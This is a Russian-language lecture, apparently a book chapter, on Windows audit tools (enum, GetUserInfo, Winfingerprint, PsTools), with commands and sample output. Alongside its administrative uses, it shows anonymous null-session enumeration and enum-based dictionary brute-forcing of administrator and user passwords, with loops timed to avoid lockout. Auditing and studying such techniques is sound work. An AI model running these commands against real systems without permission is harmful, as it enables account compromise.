Инструментальные средства обеспечения безопасности

Средства ревизии Windows

Разбить на страницы
Показывать лекцию целиком

В рассказе Конан Дойля "Долина страха" Шерлок Холмс бранит полицейского инспектора: "Широта кругозора - одно из главных требований в нашей профессии. Взаимосвязь идей и косвенное использование знаний зачастую бывает невероятно интересным". В этой лекции мы надеемся продемонстрировать, как коллекционирование знаний об удаленном компьютере может быть использовано в личных целях. Меньше всего вам понравится создавать список пользователей, которые имеют интерактивный доступ к исследуемой системе; но можно получить и большое количество другой информации. Какие использованы (или не использованы) исправления в системе? Подбор пароля один из старейших, наиболее часто используемых методов атаки системы, но блокирует ли система вход после нескольких последовательных вводов неправильного пароля?

Знания об удаленной системе помогут вам сделать предположения о возможной уязвимости системы. В других случаях области коллективного доступа со значимой информацией могут быть сконфигурированы для анонимного доступа. Вам необходимо искать исчерпывающую информацию, превосходящую данные сканирования портов.

Большинство информации о Windows может быть получено из области общего пользования IPC$ (InterProcess Communications), по умолчанию - область общего доступа в системах Windows NT, 2000 и XP. Она поддерживает взаимодействие между приложениями в рамках одной системы или между удаленными системами. Для поддержки распределенного доступа и доменной среды IPC$ содержит много системной и пользовательской информации, необходимой для обслуживания их запросов.

Наиболее распространенный вид соединения - NULL -соединение или анонимное, которое может быть установлено вручную с использованием команды net:

C:\>net use \\target\ipc$ " " /u:" "

Команда smbclient (из набора команд поддержки Samba) также может установить анонимное соединение, но только команда net use устанавливает соединение, поверх которого может работать другое приложение.

$ smbclient \\\\target\\ipc\$ " " -U " "

Важность этого простого, анонимного соединения состоит в том, чтобы продемонстрировать, как вы можете использовать инструменты для получения большого количества информации об исследуемой системе.

Winfingerprint

Утилита Winfingerprint активно разрабатывается, доступна в исходных кодах и позволяет получить большое количество информации из IPC$-области. Реализация протокола SNMP (Simple Network Management Protocol) дает доступ к журналу событий и возможность исследовать структуру Active Directory.

Реализация

Winfingerprint основана на графическом интерфейсе пользователя (GUI). Программа может сканировать единичный хост или непрерывный интервал сети. Состав запрашиваемой информации определяется установкой соответствующих отметок в формах. В этом есть только один неясный момент: нажимая кнопку OK, вы подразумеваете команду "сканировать хост". Рисунок 7.1 демонстрирует сканирование с отмеченным флагом NetBIOS.

(рис 7.1) Сканирование Winfingerprint

Это не главный фокус в использовании Winfingerprint. Но, тем не менее, отметим некоторую полезную информацию.

  • Role. Winfingerprint может определить с некоторой степенью подробности тип сервера и его операционную систему. Идентификаторы первичных контроллеров доменов (PDCs), контроллеров доменов резервирования (BDCs), и любые домены, к которым относится компьютер.
  • Date/Time. Помогает сделать предположения о месте физического размещения сервера. Локальное время сервера также может быть использовано, если вы попытаетесь управлять удаленными заданиями с использованием команды AT.
  • Usernames. Winfingerprint выводит список системных идентификаторов ID (SID) для каждого пользователя. Так можно определить администратора (SID 500).
  • Sessions. Здесь приводится список NetBIOS-имен других систем, которые поддерживают соединение с исследуемой. Часто это помогает уточнить список исследуемых систем BDC, баз данных или администраторов.
  • Services. Полный список служб дает возможность узнать, какие программы установлены и активны.
  • Примечание. Использование кнопки Save приведет к запросу "Winfingerprint Output", но это всего лишь способ вывести информацию в текстовый файл.

    Несмотря на извлекаемое количество информации, Winfingerprint, как все программы с графическим интерфейсом, имеет тот же недостаток - он не может быть запущен под управлением файла параметров. Интерфейс также позволяет задать большой интервал для сканирования, что приведет к получению результата в не слишком удобном формате. Можно использовать Perl-скрипт для анализа результата по ключевым полям, но это будет весьма неудобно для большой сети.

    Запуск Development Build

    Для администраторов, которые хотят получить доступ к самым свежим возможностям Winfingerprint, доступны исходные коды программы. Используйте cvs-систему (Concurrent Versions System) для получения последней версии кодов (пароль остается пустым).

    $ cvs -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net
    :/cvsroot/winfingerprint login
    (Logging in to anonymous@cvs.winfingerprint.sourceforge.net)
    CVS password:
    $ cvs -z3 -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net
    :/cvsroot/winfingerprint co winfingerprint

    Результирующая директория содержит рабочий проект для Visual Studio. Откройте проект Visual Studio Project (DSP) и откомпилируйте. Если вы столкнулись с проблемами, убедитесь, что в опциях компиляции General установлен параметр uses MFC Shared DLL.

    GETUSERINFO

    ). Эта коллекция включает в себя несколько утилит, составляющих набор инструментов для администраторов, которым действительно требуется залезть внутрь Windows.

    Реализация

    Формат вывода очень похож на вывод команды net user, с несколькими мелкими отличиями, на которые важно обратить внимание. Строки, представленные жирным шрифтом, содержат информацию, которой нет в сообщениях команды net user.

    C:\>GetUserInfo.exe administrator
    GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002
    User information for [Local]\administrator
    User Name           Administrator
    Full Name
    Description         Built-in account for administering the computer/domain
    User's Comment
    User Type           Admin
    Enhanced Authority
    Account Type            Global
    Workstations
    Home Directory
    User Profile
    Logon Script
    Flags               NO_PWD_EXPIRE
    Account Expires     Never
    Password age in days    249
    Password last set       7/6/2001 3:22 PM
    Bad PWD count       0
    Num logons (this machine)   2432
    Last logon          3/12/2002 8:24 PM
    Logon hours         All
    Global group memberships    *None
    Local group memberships *Administrators
    Completed.

    Используя информацию о паролях (возраст, счетчик ошибочно введенных паролей, число входов в систему), вы можете сделать несколько выводов об этом пользователе. Неправильно введенные пароли могут свидетельствовать о предпринимаемых атаках или, если вы сами совершаете такую атаку, о том, как близко вы к пределу возможного количества попыток ввода неверного пароля. Возраст пароля может свидетельствовать о старом, не изменявшемся пароле, что является признаком пользовательского профиля, который никогда не использовался. Количество входов в систему может свидетельствовать об интенсивности использования соответствующего пользовательского профиля. Профиль с большим количеством входов может означать, что пользователь часто использует систему; соответственно малое количество входов может говорить о не слишком частой проверке системы. Конечно, количество входов в систему больше нуля для заблокированного пользователя (например, guest) означает, что в сети произошло нечто.

    Используя символ точки (.), можно перечислить всех пользователей системы. Посмотрите на правильный синтаксис.

    C:\>GetUserInfo.exe \.
    GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002
    User Accounts for [Local]
    ---------------------------------------------------------------------
    Administrator           Orc         skycladgirl
    test                __vmware_user__

    С этого момента вы можете повторять просмотр для каждого пользователя для сбора специфической информации о пользовательском профиле. Утилиты командной строки хороши, а средства командной строки, которые могут работать на удаленной системе, просто великолепны. GetUserInfo может извлекать информацию о заданном домене или сервере.

    C:\>GetUserInfo.exe \\192.168.0.43\.
    C:\>GetUserInfo.exe domain\\192.168.0.43\.
    Совет. В сети с большим количеством Windows-доменов в первую очередь обращайте внимание на локальных пользователей (Local user).

    Замените точку именем пользователя для получения сведений о заданном пользователе.

    ENUM

    .

    Реализация

    Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.

    C:\>enum.exe
    usage:  enum.exe    [switches]  [hostname|ip]
    -U: get userlist
    -M: get machine list
    -N: get namelist dump (different from -U|-M)
    -S: get sharelist
    -P: get password policy information
    -G: get group and member list
    -L: get LSA policy information
    -D: dictionary crack, needs -u and -f
    -d: be detailed, applies to -U and -S
    -c: don't cancel sessions
    -u: specify username to use (default "")
    -p: specify password to use (default "")
    -f: specify dictfile to use (wants -D)

    Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу IPC$ через 139 или 445 порт. По умолчанию программа создает соединение с использованием NULL-ресурса - обычно это анонимный пользователь. Вы можете задать одновременно все шесть параметров, но мы сделаем это по отдельности, чтобы получить удобочитаемую выходную информацию.

    C:\>enum -UPG 192.168.0.139
    server: 192.168.0.139
    setting up session... success.
    password policy:
        min length: none
        min age: none
        max age: 42 days
        lockout threshold: none
        lockout duration: 30 mins
        lockout reset: 30 mins
    getting user list (pass 1, index 0)... success, got 5.
        Administrator Guest IUSR_ALPHA IWAM_ALPHA
        TsInternetUser
    Group: Administrators
    ALPHA\Administrator
    Group: Guests
    ALPHA\Guest
    ALPHA\TsInternetUser
    ALPHA\IUSR_ALPHA
    ALPHA\IWAM_ALPHA
    Group: Power Users
    cleaning up... success.

    Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).

    Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.

    C:\>enum.exe -MNS 66.192.0.139
    server: 66.192.0.139
    setting up session... success.
    getting namelist (pass 1)... got 5, 0 left:
        Administrator Guest IUSR_ALPHA IWAM_ALPHA
        TsInternetUser
    enumerating shares (pass 1)... got 3 shares, 0 left:
        IPC$ ADMIN$ C$
    getting machine list (pass 1, index 0)... success, got 0.
    cleaning up... success.

    Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.

    Используем параметр -L для получения информации о Local Security Authority (LSA). Эта команда возвращает данные о системе и соответствующем домене.

    C:\>enum.exe -L 66.192.0.139
    server: 66.192.0.139
    setting up session... success.
    opening lsa policy... success.
    server role: 3 [primary (unknown)]
    names:
        netbios: ALPHA
        domain: MOONBASE
    quota:
        paged pool limit: 33554432
        nonpaged pool limit: 1048576
        min work set size: 65536
        max work set size: 251658240
        pagefile limit: 0
        time limit: 0
    trusted domains:
        indeterminate
    netlogon done by a PDC server
    cleaning up... success.

    Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.

    Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.

    C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
    Совет. Многие организации переименовывают пользовательский профиль Administrator и называют администратором гостевой профиль ( Guest ). Неопытные взломщики, которые не могут найти правильного административного профиля, могут просто потерять время даром. Обратите внимание на число -500 в значении идентификатора пользователя SID.

    Пример из жизни. Угадай пароль!

    Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.

    C:\enum -P 192.168.0.36
    server: 192.168.0.36
    setting up session... success.
    password policy:
        min length: 7
        min age: 2 days
        max age: 42 days
        lockout threshold: 5
        lockout duration: 30 mins
        lockout reset: 30 mins
        cleaning up... success.

    Воспользуйтесь этой информацией, чтобы настроить взлом перебором.

    Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.

    Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.

    C:\enum -D -u Administrator -f dict.txt

    Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).

    C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36
     output.txt  sleep 180s

    Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.

    C:\enum -G 192.168.0.36

    Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.

    C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do 
    enum -u
    %%u -p %%p -M 192.168.0.36 output.txt

    При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.

    PSTOOLS

    Комплект . Утилиты enum и Winfingerprint довольствуются установлением NULL IPC$ соединения, а PsTools требуют пользовательских полномочий для реализации некоторых возможностей. Тем не менее, этот набор утилит возвращает открытый порт NetBIOS к лучшим временам удаленного выполнения команд. Вместо описания утилит в алфавитном порядке, мы начнем с наиболее безобидных и работающих универсально. Набор администратора Windows должен содержать эти средства, поскольку они существенно упрощают удаленное администрирование.

    Но для начала сделаем несколько замечаний об использовании этих программ.

  • Вы должны иметь полномочия пользователя. Наиболее функциональные из описываемых средств требуют полномочий администратора системы.
  • На исследуемой системе должна быть запущена служба "Server". Служба "NetLogon" помогает передавать пользовательские полномочия в домене.
  • Служба "RemoteRegistry" используется аналогично PsInfo.
  • Должен быть доступен ресурс IPC$.
  • В системе, где администрирование осуществляется с использованием графического интерфейса пользователя, левой кнопки мыши и терминальных служб, этот набор программ сохранит от излишнего напряжения в процессе работы.

    Внимание. В процессе удаленного администрирования ваше имя пользователя и пароль передаются по сети! Если вы беспокоитесь о sniffing -атаках, убедитесь, что ваши Windows 2000- и XP-серверы используют NTLMv2. Это дефект скрытой схемы аутентификации Windows, а не PsTools. Обратитесь к лекции "Средства взлома/подбора паролей" для получения дополнительной информации о паролях Windows.

    Реализация

    PsTools содержит 10 различных утилит, существенно упрощающих администрирование больших сетей. Удаленный доступ с использованием Terminal Services также способствует этому, но эти утилиты могут быть составной частью автоматических скриптов, включающих в себя журналы, списки активных пользователей, или могут выполняться по команде в дюжине систем.

    PsFile

    PsFile дает возможность получить список файлов на хосте, которые используются другим хостом. Эта утилита зеркально воспроизводит встроенную команду net file. Программа используется для отладки общего доступа к файлам и контроля неавторизованного доступа к файлам. Ниже приводится сокращенный вывод.

    C:\>psfile.exe
    Files opened remotely on GOBLYNSWOOD:
    [23]    D:\downloads\VMware-license-linux.txt
        User:   ORC
        Locks:  0
        Access: Read
    C:\>net file
    ID  Path                        User name   # Locks
    ---------------------------------------------------------------
    23  D:\downloads\VMware-license-linux.txt   ORC     0
    The command completed successfully.

    Можно сказать, что пользователь ORC просматривает лицензионную информацию нашего приложения VMware. Эта программа не может дать сведений, откуда пользователь осуществляет доступ. Это работа для netstat. Что общего между двумя этими командами? Параметр -c работает точно так же, как и параметр /close программы net file. Он закрывает соединение, основанное на идентификаторе пользователя ID (отмечено жирным шрифтом в предыдущем примере).

    C:\>psfile.exe 23 -c
    Closed file D:\downloads\VMware-license-linux.txt on GOBLYN.

    Кажется, нет никакого преимущества по сравнению с утилитой net. Однако каждая утилита из набора PSTools работает поверх удаленного соединения. Использование аналогично с добавлением полномочий пользователя в командной строке.

    C:\>psfile.exe \\192.168.0.176 -u Administrator -p IM!secure
    Files opened remotely on 192.168.0.176:
    [32] \PIPE\srvsvc
        User: ADMINISTRATOR
        Locks: 0
        Access: Read Write

    Если вы запустите программу psfile для хоста localhost и зададите его IP-адрес, то увидите, что он открывает соединение со службой server.

    Примечание. Каждая утилита PsTool принимает в командной строке последовательность \\RemoteHost -u UserName -p password, даже если в справке ( /h ) ничего об этом не говорится.

    PsLoggedOn

    PsTools не заподозришь в запутанном соглашении об именовании. PsLoggedOn отображает пользователей, которые работают в системе, неважно, соединившись с помощью консоли, используя файлы или другим удаленным методом.

    C:\>psloggedon.exe
    Users logged on locally:
            Unknown NT AUTHORITY\LOCAL SERVICE
            Unknown NT AUTHORITY\NETWORK SERVICE
            3/10/2002 11:23:49 AM   GOBLYNSWOOD\pyretta
            Unknown NT AUTHORITY\SYSTEM
    Users logged on via resource shares:
            3/12/2002 12:04:12 AM   (null)\ORC

    Список пользователей, соединившихся с системой общими ресурсами, может быть особенно интересен для администраторов. Можно управлять задачами, которые проверяют чувствительные системы, такие как контроллеры доменов, Web-серверы или базы данных финансового департамента. Вы можете понадеяться на журнал системных событий, но злонамеренные пользователи могут его уничтожить.

    Предполагая перспективу атак, будет предусмотрительно перехватывать атаки по переполнению буфера.

    PsGetSid

    Переименование пользователя Administrator в "TeflonBilly" неплохо, но недостаточно для реальной безопасности. С использованием PsGetSid, любой, кто может установить NULL -соединение может получить строку, называемую "секретный идентификатор SID " (Security Identifier) для конкретного пользователя. Заключительная часть этой строки содержит относительный идентификатор RID (Relative Identifier). Для пользователя с правами администратора, независимо от его имени, RID всегда равен 500 - практически, как у пользователя root в Unix, этот параметр всегда равен 0. Для гостевого профиля этот параметр всегда равен 501. Эти два RID -идентификатора никогда не изменяются.

    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure Orc
    SID for 192.168.0.176\\Orc:
    S-1-5-21-1454471165-484763869-1708537768-501
    Совет. Когда вы ищите пользователя "Administrator", всегда проверяйте, что у профиля есть строка SID, которая заканчивается на -500. В противном случае, знайте, что профиль был переименован.

    Запрос идентификатора SID не может быть адресован для конкретного пользователя. PsGetSid может перечислить другие объекты, такие как компьютеры или группы пользователей.

    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure goblynswood
    SID for 192.168.0.176\\goblynswood:
    S-1-5-21-1454471165-484763869-1708537768
    C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure "Power Users"
    SID for 192.168.0.176\\goblynswood:
    S-1-5-32-547

    Сам по себе этот тип информации обычно не используется, но вместе со значениями RID -пользователей, полученных из ASM -файлов, эти данные покрывают существенную часть структуры аутентификации домена.

    PsInfo

    Операционная система, продолжительность непрерывной работы (основанная на анализе системного журнала), корневая директория системы, дата инсталляции и т.д. и т.п. - данные, всегда вызывающие интерес. Не думайте о PsInfo, как о бесполезном инструменте. Эта программа возвращает полезную информацию о системе. И помните, она делает это удаленно!

    C:\>Psinfo.exe
    System information for \\GOBLYNSWOOD:
    Uptime:         8 days, 2 hours, 59 minutes, 9 seconds
    Kernel version:     Microsoft Windows 2000, Uniprocessor Free
    Product type:           Professional
    Product version:        5.0
    Service pack:           2
    Kernel build number:        2195
    Registered organization:    twilight conclave
    Registered owner:       mps
    Install date:           1/2/2001, 3:03:03 PM
    System root:            E:\WINNT
    Processors:         1
    Processor speed:        1.0 GHz
    Processor type:     x86 Family 6 Model 8 Stepping 10, GenuineIntel
    Physical memory:        320 MB
    HotFixes:
    Q147222: No Description
    Q252795: Windows 2000 Hotfix (Pre-SP3) [See Q252795 for more information]
    Q276471: Windows 2000 Hotfix (Pre-SP3) [See Q276471 for more information]
    Q285156: Windows 2000 Hotfix (Pre-SP3) [See Q285156 for more information]
    Q285851: Windows 2000 Hotfix (Pre-SP3) [See Q285851 for more information]
    Q295688: No Description
    Q296185: Windows 2000 Hotfix (Pre-SP3) [See Q296185 for more information]
    Q298012: Windows 2000 Hotfix (Pre-SP3) [See Q298012 for more information]
    Q299553: Windows 2000 Hotfix (Pre-SP3) [See Q299553 for more information]
    Q299796: Windows 2000 Hotfix (Pre-SP3) [See Q299796 for more information]
    Q302755: Windows 2000 Hotfix (Pre-SP3) [See Q302755 for more information]
    Q314147: Windows 2000 Hotfix (Pre-SP3) [See Q314147 for more information]
    SP2SRP1: Windows 2000 Security Rollup Package [See Q311401 for more information]

    PsInfo предоставляет быстрый способ для проверки ваших серверов на предмет последних обновлений. Если у вас работает IIS, вы должны трепетно относиться к последним обновлениям и заплаткам. PsInfo получает информацию о последних обновлениях из настроек HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix системного реестра, поэтому некоторые заплатки приложений могут быть не внесены в этот список.

    Использование командного файла упрощает ревизию системы.

    C:\>for /L %i in (1,1,254) do psinfo \\192.168.0.%i >
    systeminfo_192.168.0.%i.txt

    Обратите внимание, что мы обошли полномочия аутентификации. Если вы собираетесь создать пакетный файл, который требует доступа к удаленной системе, не помещайте имя пользователя и пароль в командный файл. Вместо этого запустите пакетный файл в контексте пользователя домена с полномочиями для ревизии этой информации. Проблема, с которой вы можете столкнуться, состоит в сложности доступа к системам, которые не являются частью домена.

    Совет. PsInfo - фантастическое средство для управления конфигурацией. Мало других систем дают информацию об обновлениях по удаленному запросу.

    PsService

    Это сильное средство для обеспечения удаленного просмотра и манипуляции службами. Команды Windows net start и net stop трепещут в присутствии PsService. Без параметров командной строки PsService возвращает список служб, установленных в системе. Следующий урезанный для краткости вывод содержит полную информацию о двух службах.

    C:\>psservice.exe
    SERVICE_NAME: inetd
    DISPLAY_NAME: CYGWIN inetd
    (null)
    TYPE                : 10 WIN32_OWN_PROCESS
    STATE           : 1 STOPPED
                        (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
    WIN32_EXIT_CODE : 1077 (0x435)
    SERVICE_EXIT_CODE   : 0 (0x0)
    CHECKPOINT      : 0x0
    WAIT_HINT           : 0x0
    SERVICE_NAME: SharedAccess
    DISPLAY_NAME: Internet Connection Firewall (ICF) / Internet Connection
    Sharing (ICS)
    Provides network address translation, addressing, name resolution
    and/or intrusion prevention services for a home or small office network.
    TYPE                : 20 WIN32_SHARE_PROCESS
    STATE           : 4 RUNNING
                        (STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
    WIN32_EXIT_CODE : 0 (0x0)
    SERVICE_EXIT_CODE   : 0 (0x0)
    CHECKPOINT      : 0x0
    WAIT_HINT           : 0x0

    Информация о службах, независимо от того, работает служба или нет, показывает роль системы, установленное программное обеспечение поддержания безопасности и, возможно, относительное значение для сети. Сервер, который осуществляет резервное копирование PDC, имеет запущенную службу резервирования и почтовый сервер, который, возможно, содержит выполняющийся сервер для защиты от вирусов. К тому же, PsService обеспечивает возможность управления службами. Задайте одну из следующих команд для манипуляции службой.

    C:\>psservice.exe /?
    PsService v1.01 - local and remote services viewer/controller
    Copyright (C) 2001 Mark Russinovich
    Sysinternals - www.sysinternals.com
    PsService lists or controls services on a local or remote Win2K/NT system.
    Usage: psservice.exe [\\Computer [-u Username [-p Password]]] cmd optns
    Cmd is one of the following:
        query       Queries the status of a service
        config      Queries the configuration
        start       Starts a service
        stop        Stops a service
        restart     Stops and then restarts a service
        pause       Pauses a service
        cont        Continues a paused service
        depend      Enumerates the services that depend on the one specified
        find        Searches for an instance of a service on the network

    После команды задайте имя службы, для которой следует получить результат. Например, здесь представлено, как запустить IIS на удаленном компьютере (предполагая, что вы вошли в домен как администратор).

    C:\>psservice.exe \\192.168.0.39 start w3svc

    Вы можете также запустить, перезагрузить, приостановить и продолжить работу службы. Команда config слегка отличается от команды query, которая обеспечивает получение информации при запуске PsService без параметров. Команда config возвращает информацию о службах, которые работают на самом деле.

    C:\>psservice.exe config inetd
    SERVICE_NAME: inetd
    (null)
            TYPE                : 10 WIN32_OWN_PROCESS
            START_TYPE      : 3 DEMAND_START
            ERROR_CONTROL       : 1 NORMAL
            BINARY_PATH_NAME    : d:\cygwin\usr\sbin\inetd.exe
            LOAD_ORDER_GROUP    :
            TAG             : 0
            DISPLAY_NAME        : CYGWIN inetd
            DEPENDENCIES        :
            SERVICE_START_NAME  : LocalSystem

    И, наконец, команда find может быть использована для поиска службы, работающей в сети. Она работает подобно сканеру сети. Например, для поиска хостов в домене, на которых выполняется служба Terminal Services, следует искать службу termservice.

    C:\>psservice.exe find termservice
    Found termservice on:
    \\ZIGGURAT
    \\GOBLYNSWOOD

    Используйте это совпадение со сканером портов для определения "кривых" установок IIS в вашей сети.

    PsList

    PsList отображает список процессов на локальной или удаленной машине. Параметры -d, -m и -x отображают информацию о нитях, памяти и соответственно, комбинацию этих двух параметров. Однако можно использовать просто pslist.

    C:\>pslist.exe
    Process information for GOBLYNSWOOD:
    Name        Pid Pri Thd Hnd  Mem  User Time    Kernel Time  Elapsed Time
    Idle          0   0   1   0   16  0:00:00.000  3:57:29.219  0:00:00.000
    System        8   8  39 319  216  0:00:00.000  0:00:11.536  0:00:00.000
    SMSS        152  11   6  33  560  0:00:00.210  0:00:00.741  4:27:11.031
    CSRSS       180  13  10 494 3560  0:00:00.650  0:01:30.890  4:26:59.084
    WINLOGON    200  13  17 364 3256  0:00:00.230  0:00:01.081  4:26:55.879
    SERVICES    228   9  30 561 5640  0:00:01.542  0:00:03.535  4:26:48.058
    LSASS       240   9  14 307  520  0:00:00.260  0:00:00.230  4:26:48.028
    svchost     420   8   9 333 3748  0:00:00.150  0:00:00.150  4:26:41.839
    spoolsv     452   8  12 166 3920  0:00:00.070  0:00:00.160  4:26:41.088

    Вы также можете получить информацию о конкретном процессе по имени или идентификатору ID, обратившись к нему в командной строке. Например, чтобы увидеть, сколько ресурсов пожирает Internet Explorer, попытайтесь выполнить следующее.

    C:\pslist.exe iexplore
    Process information for GOBLYNSWOOD:
    Name        Pid Pri Thd  Hnd   Mem  User Time    Kernel Time  Elapsed Time
    IEXPLORE    636   8  17  805 26884  0:00:14.711  0:00:17.154  4:38:27.694
    IEXPLORE   1100   8  28 1054 27980  0:00:24.375  0:00:40.888  4:36:25.388
    Совет. Некоторые утилиты захвата паролей требуют знания идентификатора процесса ID (PID) программы LSASS. PsList - великолепный способ узнать его.

    Параметры -s и -r могут пригодиться для мониторинга важных серверов или отладки. Параметр -s переводит PsList в режим диспетчера задач. Другими словами, он обеспечивает непрерывное обновление до тех пор, пока вы не нажмете Esc - практически, как для команды top в Unix. Параметр -r устанавливает время обновления в секундах. Например, вы можете осуществлять мониторинг процесса IIS на Web-сервере каждые 10 секунд.

    C:\>pslist.exe -s -r 10 inetinfo.exe

    Параметр -t отображает каждый процесс и его нить в формате дерева, упрощая визуализацию взаимосвязи процессов в системе. Ниже представлен сокращенный вывод, который отображает системные нити.

    C:\>pslist.exe -t
    Process information for GOBLYNSWOOD:
    Name                        Pid Pri  Thd  Hnd     VM    WS  Priv
    Idle                          0   0    1    0      0    16     0 
      System                      8   8   39  323   1668   216    24
         SMSS                   152  11    6   33   5248   560  1072
           CSRSS                180  13   10  502  22700  3576  1512
           WINLOGON             200  13   17  364  35812  3252  5596
              SERVICES          228   9   31  563  33748  5652  2772
                 svchost        420   8    9  333  22624  3748  1528
                     MDM       1420   8    3   96  25996  2640   924 
                Avsynmgr        556   8    4  139  28024  2708  1460
                    VSStat      896   8    2  112  26376  2664  1376
                    vshwin32    956   8    7  219  54220  6468  3908
                   WebScanX    1036   8    3  194  40020  6052  4628
                Avconsol        976   8    2  112  28500  2640  1484
            svchost             592   8   33  449  43592  8084  3364
         LSASS                  240   9   14  307  28080   864  2344
    explorer                   1200   8   17  468  99580  4460 11912

    PsKill и PsSuspend

    Получив список процессов, вы можете уничтожить (или подвесить) процесс. Программа PsKill принимает в качестве аргумента или имя процесса или его идентификатор. Если вы точно знаете идентификатор PID, вам может понадобиться использовать PsKill совместно с PsList. С другой стороны, задав процесс по имени, можно удалить больше процессов, чем вы рассчитывали. Оба метода чувствительны к такому типу уязвимости, как "oops" - ошибка в значении PID и случайное удаление ошибочно введенного процесса.

    C:\>pslist.exe | findstr /i notepad
    notepad 1764    8   1   30  1728    0:00:00.020 0:00:00.020 0:00:07.400
    notepad 1044    8   1   30  1724    0:00:00.020 0:00:00.020 0:00:05.077
    notepad 1796    8   1   30  1724    0:00:00.010 0:00:00.020 0:00:03.835
    C:\>pskill.exe 1764
    process #1764 killed
    C:\>pskill.exe notepad
    2 processes named notepad killed.

    Внимание. Будьте бдительны, удаляя процесс по имени. PsKill выбирает все процессы, а не только тот, который встретится первым. Эффект, сходный с использованием регулярного выражения, вроде звездочки (*).

    PsSuspend работает аналогично. Задайте имя процесса или ID после имени команды, чтобы приостановить процесс.

    C:\>pssuspend.exe 1116
    Process 1116 suspended.

    Используйте параметр -r для возобновления работы процесса.

    C:\>pssuspend.exe -r 1116
    Process 1116 resumed.
    Примечание. Помните, что эти утилиты работают удаленно, но они требуют пользовательской аутентификации. Открытый порт NetBIOS не открывает всей системы. Однако существует проблема, связанная с открытым NetBIOS-портом и пустым паролем администратора (мы могли это прекрасно видеть). Используйте PsTools для аудита вашей сети.

    PsLogList

    Журнал системных событий содержит богатейшую информацию о состоянии системы, статусе служб и безопасности. К сожалению, неуклюжесть средств просмотра журнала обычно подталкивает администратора к краткому аудиту журнала событий. В отличие от мира Unix, где большинство системных журналов представлено в текстовом формате, журнал Windows представляет собой двоичную головоломку. Появление программы PsLogList открыло две возможности: журнал может быть преобразован в текстовый формат и разобран в таблицу другого формата, и журналы могут быть получены удаленно для консолидации, резервирования и сохранения их содержания.

    PsLogList отображает содержимое журнала в расширенном или консолидированном форматах, с запятыми вместо разделителя полей. По умолчанию PsLogList выводит информацию в расширенном варианте.

    C:\>psloglist.exe
    System log on \\GOBLYNSWOOD:
    [16554] Dhcp
    Type:       WARNING
    Computer:   GOBLYNSWOOD
    Time:       3/11/2002 11:01:28 PM   ID: 1003
    Your computer was not able to renew its address from the network
    (from the DHCP Server) for the Network Card with network address
    00047644DFBF.The following error occurred:
    The semaphore timeout period has expired.
    Your computer will continue to try and obtain an address on its
    own from the network address (DHCP) server.

    Вывод в формате с разделителями производится, если воспользоваться параметром -s. Как обычно, пример сокращен для удобства.

    C:\>psloglist.exe -s
    System log on \\GOBLYNSWOOD:
    16554,System,Dhcp,WARNING,GOBLYNSWOOD,Mon Mar 11 23:01:28 2002,1003,None,...
